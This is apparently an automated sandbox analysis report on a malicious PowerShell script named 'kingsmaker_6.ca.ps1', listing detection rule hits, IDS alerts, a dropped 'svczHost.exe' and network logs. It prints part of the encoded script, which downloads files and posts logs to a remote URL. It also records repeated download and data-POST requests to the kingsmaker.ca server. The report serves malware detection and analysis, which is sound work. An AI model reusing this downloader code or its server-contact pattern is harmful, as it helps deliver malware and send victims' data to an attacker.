AkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgB

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7728, TargetFilename: C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1", ProcessId: 7728, ProcessName: powershell.exe

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query myRdpService, CommandLine: sc query myRdpService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc query myRdpService, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8872, ParentProcessName: cmd.exe, ProcessCommandLine: sc query myRdpService, ProcessId: 8948, ProcessName: sc.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6108, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\kingsmaker_6.ca.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7728, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\plizasuj\plizasuj.cmdline", ProcessId: 7956, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-29T08:24:20.537280+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49707	104.21.75.170	443	TCP
2024-11-29T08:24:25.271249+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49709	104.21.75.170	443	TCP
2024-11-29T08:25:04.254246+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49737	104.21.75.170	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Windows\Temp\svczHost.exe

ReversingLabs: Detection: 66%

Multi AV Scanner detection for submitted file

Source: kingsmaker_6.ca.ps1

Virustotal: Detection: 16%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source: unknown	HTTPS traffic detected: 104.21.75.170:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.170:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.75.170:443 -> 192.168.2.8:49723 version: TLS 1.2

Source:	Binary string: n.pdb_X source: powershell.exe, 0000000B.00000002.3064844354.000001DAF1C25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: on.pdb- source: powershell.exe, 00000006.00000002.1709711831.00000274611A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: l\System.pdbdb source: powershell.exe, 0000000B.00000002.3064844354.000001DAF1C25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft Unified Security Protocol Provideron.pdbrX source: powershell.exe, 0000000B.00000002.3064844354.000001DAF1C25000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 0000000B.00000002.2943260832.000001DAEA1C1000.00000004.00000800.00020000.00000000.sdmp

String found in memory: <   "><a href="http://style="float:left;concerned with the=http%3A%2F%2Fwww.in popular culturetype="text/css" />it is possible to Harvard Universitytylesheet" href="/the main characterOxford University name="keywords" cstyle="text-align:the United Kingdomfederal government<div style="margin depending on the description of the<div class="header.min.js"></script>destruction of theslightly differentin accordance withtelecommunicationsindicates that theshortly thereafterespecially in the European countriesHowever, there aresrc="http://staticsuggested that the" src="http://www.a large number of Telecommunications" rel="nofollow" tHoly Roman Emperoralmost exclusively" border="0" alt="Secretary of Stateculminating in theCIA World Factbookthe most importantanniversary of thestyle="background-<li><em><a href="/the Atlantic Oceanstrictly speaking,shortly before thedifferent types ofthe Ottoman Empire><img src="http://An Introduction toconsequence of thedeparture from theConfederate Statesindigenous peoplesProceedings of theinformation on thetheories have beeninvolvement in thedivided into threeadjacent countriesis responsible fordissolution of thecollaboration withwidely regarded ashis contemporariesfounding member ofDominican Republicgenerally acceptedthe possibility ofare also availableunder constructionrestoration of thethe general publicis almost entirelypasses through thehas been suggestedcomputer and videoGermanic languages according to the different from theshortly afterwardshref="https://www.recent developmentBoard of Directors<div class="search| <a href="http://In particular, theMultiple footnotesor other substancethousands of yearstranslation of the</div>

Source: global traffic

HTTP traffic detected: GET /api/check HTTP/1.1Host: kingsmaker.caConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 52.6.155.20 52.6.155.20

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49709 -> 104.21.75.170:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49707 -> 104.21.75.170:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49737 -> 104.21.75.170:443

Source: global traffic	HTTP traffic detected: GET /file3/c30565f5b7d349dca2c674865a83c8be2eda701bd9fa3efd6b1a406548e08a5241b9e3eb87ec64b75eef9f6703a3eb783bfa9ee7e92345daa3a62b976fb3d4ee238d363a7b5e9cf6d398cb37e4de3d85ec1f5daf0cf8c35fefe5c7fdd20dd092/Windows%20Defender/4/4/user/200 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b664b61fe87b35139fde1595928ef28d057 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 302
Source: global traffic	HTTP traffic detected: GET /file2/7d92d4d72726511a7b9e025d800769b17a5809cd4d11ed5c67d79d417b2e8db5aa7ca729e39fac87f28f57d7357bf36e5b49f2b0cebc3bd94dba368f30a45afe0e99900e907285cf47daec2a455aa74b10f8070ac6411a1ed0d9940ffd7d6a2b24ff6d400df08dbb5e2d0894c9d90c9a HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.ca
Source: global traffic	HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66c74da238bddf0e0d340a354c1a6cdae5 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 302
Source: global traffic	HTTP traffic detected: GET /file2/055818ee2313288dc6c42d3f2980e607ad634befb495720ee1b37bba5e4f01458e1103e77e09a45c8c93401cf2bf452c6f70bca155b8ef39c0202e72ce5c5f4083673a0b5386ffd139c7d42f2ea2005be8516f5ad829f94abeab8f7fe32ba02b88e44df5b04afca3c479a650327a20a9 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.ca
Source: global traffic	HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1bb08e1319f40af0a0e HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 85
Source: global traffic	HTTP traffic detected: GET /file2/49508e4a94e55731c13cdad92122b7aa2ebdf21d51630b7cdcc73837245a4bab7339db115da9503bff5f3eb63dd5c8b58a4edbb94e89e961ebecca194b9e0e9e7656d46736c256bfc8b3dc86635484638b966bdfe9f1621daa6f792b5a53044675d929c45f5b8ee476604bf020ab6dd8 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1bb08e1319f40af0a0e HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 86
Source: global traffic	HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b662a76c885c2e4e1bb08e1319f40af0a0e HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 62
Source: global traffic	HTTP traffic detected: GET /file2/9aea8bf833c8770959db7c728f4ccdcfc8f4e930af4dd44e65213b9b4a478e5f86dc119a0810194a9087440b790382eb7115a9d6a33bc02028e55678abe02ad45d48e9afa93af837531e35b1c88e6bfcafa27d82ee244203b86a650acf33460676e19e4d50ccbf7b795575b481ec4d43 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 140
Source: global traffic	HTTP traffic detected: OPTIONS /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1Host: p13n.adobe.ioConnection: keep-aliveAccept: /Access-Control-Request-Method: GETAccess-Control-Request-Headers: x-adobe-uuid,x-adobe-uuid-type,x-api-keyOrigin: https://rna-resource.acrobat.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Mode: corsSec-Fetch-Site: cross-siteSec-Fetch-Dest: emptyReferer: https://rna-resource.acrobat.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1Host: p13n.adobe.ioConnection: keep-alivesec-ch-ua: "Chromium";v="105"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01x-adobe-uuid: 6b46b3a2-3e7e-4ecf-a0bd-800d51e01d42x-adobe-uuid-type: visitorIdx-api-key: AdobeReader9sec-ch-ua-platform: "Windows"Origin: https://rna-resource.acrobat.comAccept-Language: en-US,en;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rna-resource.acrobat.com/Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1Host: p13n.adobe.ioConnection: keep-alivesec-ch-ua: "Chromium";v="105"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01x-adobe-uuid: 6b46b3a2-3e7e-4ecf-a0bd-800d51e01d42x-adobe-uuid-type: visitorIdx-api-key: AdobeReader9sec-ch-ua-platform: "Windows"Origin: https://rna-resource.acrobat.comAccept-Language: en-US,en;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://rna-resource.acrobat.com/Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 69
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec4695f1fc1e8e554f577b25695147f22b6d1aa66742445be33750b633b56ea7f99bbb29fdde9b913e810a43e3fb7fc67f0c3fa02ef9b3c2868997a0d2ca950c4eb32e3b408791f34e135b54dbce6fa1a4c76 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.ca
Source: global traffic	HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 200
Source: global traffic	HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 97
Source: global traffic	HTTP traffic detected: POST /4cbd637a18ca7708e831aa08ab10a140e403e6fad505596e522bd464a59b4b66a47b135f7afca8f0a06ea65ac1357e0d HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caContent-Length: 64

Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	TCP traffic detected without corresponding DNS query: 52.6.155.20
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /file3/c30565f5b7d349dca2c674865a83c8be2eda701bd9fa3efd6b1a406548e08a5241b9e3eb87ec64b75eef9f6703a3eb783bfa9ee7e92345daa3a62b976fb3d4ee238d363a7b5e9cf6d398cb37e4de3d85ec1f5daf0cf8c35fefe5c7fdd20dd092/Windows%20Defender/4/4/user/200 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/7d92d4d72726511a7b9e025d800769b17a5809cd4d11ed5c67d79d417b2e8db5aa7ca729e39fac87f28f57d7357bf36e5b49f2b0cebc3bd94dba368f30a45afe0e99900e907285cf47daec2a455aa74b10f8070ac6411a1ed0d9940ffd7d6a2b24ff6d400df08dbb5e2d0894c9d90c9a HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.ca
Source: global traffic	HTTP traffic detected: GET /file2/055818ee2313288dc6c42d3f2980e607ad634befb495720ee1b37bba5e4f01458e1103e77e09a45c8c93401cf2bf452c6f70bca155b8ef39c0202e72ce5c5f4083673a0b5386ffd139c7d42f2ea2005be8516f5ad829f94abeab8f7fe32ba02b88e44df5b04afca3c479a650327a20a9 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.ca
Source: global traffic	HTTP traffic detected: GET /file2/49508e4a94e55731c13cdad92122b7aa2ebdf21d51630b7cdcc73837245a4bab7339db115da9503bff5f3eb63dd5c8b58a4edbb94e89e961ebecca194b9e0e9e7656d46736c256bfc8b3dc86635484638b966bdfe9f1621daa6f792b5a53044675d929c45f5b8ee476604bf020ab6dd8 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/9aea8bf833c8770959db7c728f4ccdcfc8f4e930af4dd44e65213b9b4a478e5f86dc119a0810194a9087440b790382eb7115a9d6a33bc02028e55678abe02ad45d48e9afa93af837531e35b1c88e6bfcafa27d82ee244203b86a650acf33460676e19e4d50ccbf7b795575b481ec4d43 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kingsmaker.caConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1Host: p13n.adobe.ioConnection: keep-alivesec-ch-ua: "Chromium";v="105"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01x-adobe-uuid: 6b46b3a2-3e7e-4ecf-a0bd-800d51e01d42x-adobe-uuid-type: visitorIdx-api-key: AdobeReader9sec-ch-ua-platform: "Windows"Origin: https://rna-resource.acrobat.comAccept-Language: 